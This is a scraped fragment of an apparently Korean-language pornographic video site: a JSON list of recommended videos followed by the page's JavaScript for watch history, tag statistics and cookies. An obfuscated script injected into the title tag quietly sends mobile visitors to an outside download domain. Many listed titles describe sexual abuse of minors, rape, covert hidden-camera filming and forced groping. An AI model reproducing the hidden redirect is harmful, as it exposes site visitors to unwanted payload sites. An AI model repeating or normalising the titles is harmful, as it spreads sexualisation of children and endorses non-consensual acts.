추천 영상
04:37
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>모모에서 만난 순수하고 여린 여학생이 거울 앞에서 나에게 오럴 섹스를 해줬고, 우리가 섹스하는 동안 내 정액을 삼켰는데, 그녀는 그걸 지켜보고 있었다.</script></title>
모모에서 만난 순수하고 여린 여학생이 거울 앞에서 나에게 오럴 섹스를 해줬고, 우리가 섹스하는 동안 내 정액을 삼켰는데, 그녀는 그걸 지켜보고 있었다.","lastmod":"2026-07-11","duration":"04:37","url":"/play/19154029.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZjAwYzM5MjRiNTMxNTRhNzM0YTA1MDRiNTRkZmFiZmUuanBn.cache","vod_id":18975905,"title":"SSNI-666 신임 여교사, 애인 앞에서 학생들에게 집단 강간당해 ~노도우에 사쿠라바~","lastmod":"2025-03-28","duration":"01:59:09","url":"/play/18975905.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZjYyMTI2YTMyMmU3NTVlODdjOWY2Mjc5MDEzMWY2MDIuanBn.cache","vod_id":19044718,"title":"건담 팬이라면 우리 통통한 엉덩이에 푹 빠져보세요!! 저는 불쌍한 남자, 아오이 나기사 미츠키입니다. 의붓여동생의 꽉 끼는 속옷에 유혹당했죠.","lastmod":"2025-03-29","duration":"02:39:07","url":"/play/19044718.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjEvZjUyZGFlZDE2N2EwOTFlZjQ3NmE1NzBlODY1NTgwZGUuanBn.cache","vod_id":19150640,"title":"매혹적인 원석을 발견했습니다! B120W105H118 엄청난 가슴 사이즈를 자랑하는 여대생. 익명의 희망. 후작.","lastmod":"2026-06-20","duration":"01:54:40","url":"/play/19150640.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvN2IwMmFkZGM0OGVhYjNkNjRkOWUxNWZjYjEyOWYyMWQuanBn.cache","vod_id":19136300,"title":"내 반 친구인 통통한 여학생이 3인 성관계를 하고 있는데, 구강성교와 딥스로팅을 하면서 양쪽에서 격렬하게 삽입당하고 있다. (장면 클로즈업)","lastmod":"2026-04-11","duration":"34:24","url":"/play/19136300.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzZlNTEyZjU4NGQzMmRmY2Y2NjQ0ZjUyMDVmNWMyZTAuanBn.cache","vod_id":19055526,"title":"SIRO3988 [첫 촬영] [부드러운 가슴, 매끈한 피부] [맛있는 큰 엉덩이] 부드러운 가슴을 너무 세게 쥐어짜자 숨이 막힐 듯했고, 인턴 미용사는 귀여운 신음 소리를 내며 연달아 오르가즘을 느꼈다... [첫 촬영] 온라인 AV 신청 → AV 체험 촬영 1125 (근친상간)","lastmod":"2025-03-29","duration":"01:06:41","url":"/play/19055526.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOGViMGIxOWEyNjU3NzAzNmM1NzAyZTBlMjAyNWI5NzUuanBn.cache","vod_id":18988961,"title":"최고급 에스코트 여신, 매혹적인 가슴, 온화하고 순종적임.","lastmod":"2025-03-28","duration":"30:06","url":"/play/18988961.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZjgyOWFiMDA5YmUyZTVlNzExOGVmYjVlZDUwYjAzZDUuanBn.cache","vod_id":19065606,"title":"팔에 문신이 있고, 가슴이 크고, 검은 스타킹을 신고, 가랑이를 찢거나 핥는 등 다양한 체위를 구사하여 최고의 만족감을 선사하는 고급 에스코트 걸을 고용하세요.","lastmod":"2025-03-29","duration":"01:00:24","url":"/play/19065606.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvY2Y0MjkwNTZhNjA1ZmIxNThmNzQ2ZTZhOTAyMWJhNDkuanBn.cache","vod_id":18960687,"title":"몰래카메라 시리즈 - 167cm 자동차 모델과의 성관계에 3500위안...","lastmod":"2025-03-28","duration":"36:35","url":"/play/18960687.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMWYxYTM0Y2UzNzg2YzJlMmNiYjk0NWQ2MzhkMTcxNDYuanBn.cache","vod_id":19051724,"title":"NTK187 매 맞고 빨개진 아름다운 엉덩이! 아름답게 흔들리는 G컵 가슴! 촉촉하고 털 없는 은밀한 부위! 도덕적으로 타락한 마조히스트 여성이 추파를 받자마자 원초적인 섹스를 간청한다!! 유출된 영상에는 마조히스트 여성이 섹스 도중 매를 맞는 모습이 담겨 있는데, 그녀의 젖꼭지는 젖어 있고, 거친 애무로 인해 사타구니도 젖어 있다! ? : 러브호텔 렌탈 카메라에 내장된 POV 영상 파일 047이 삭제를 잊어버린 채 유출되었다.","lastmod":"2025-03-29","duration":"01:01:29","url":"/play/19051724.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MTkvY2NhYmExYzY3OWQxOWIzNGNmZTVmNGRkOGE4YjgwMTMuanBn.cache","vod_id":19150352,"title":"중학생 소녀가 초등학생인 남동생을 유혹하여 성폭행했다.","lastmod":"2026-06-18","duration":"00:00:39","url":"/play/19150352.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNDJmOTNkMWMxNzQyMWRhMTZiM2NjYmExNDExMWZmMGQuanBn.cache","vod_id":18976017,"title":"BDA-106 학생-교사 간 생식: 교실에서의 수치심 - 미즈키 나기사","lastmod":"2025-03-28","duration":"02:25:04","url":"/play/18976017.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvOGIyZDZiY2ZmYjhiNjliOWE5MDMxNTFhM2M1NmM5YmUuanBn.cache","vod_id":19129919,"title":"희귀한 몰래카메라 영상 - 한 마스터가 속옷을 입지 않고 쇼핑하는 수십 명의 여학생들을 촬영; 아름다운 여성들이 도처에 - 여학생들에 대한 강제 성추행으로 인한 울음소리 -","lastmod":"2026-03-11","duration":"01:11:51","url":"/play/19129919.html"}]},
videoTitle: '이제 그의 형은 전설이 되었는데, 교복 차림의 날씬하고 섹시한 에스코트들과 어울리며 물구나무서기, 딥 스로팅, 구강 삽입, 후배위 등을 즐겼다고 한다.',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}
友情链接